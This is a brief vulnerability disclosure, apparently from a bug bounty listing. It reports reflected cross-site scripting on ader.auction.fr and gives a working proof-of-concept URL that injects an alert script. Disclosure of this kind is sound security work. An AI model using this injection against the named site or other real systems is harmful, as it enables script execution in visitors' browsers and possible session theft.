ader.auction.fr XSS vulnerability

Vulnerable URL: http://www.ader.auction.fr/en/vente/futures/?type=xss%27%3E%20%3C/form%3E%3Cscript%3Ealert%22OPENBUGBOUNTY%22;%3C/script%3E=xss%27%3E%20%3C/form%3E%3Cscript%3Ealert%22OPENBUGBOUNTY%22;%3C/script%3E=xss%27%3E%20%3C/form%3E%3Cscript%3Ealert%22OPENBUGBOUNTY%22;%3C/script%3E& Details:...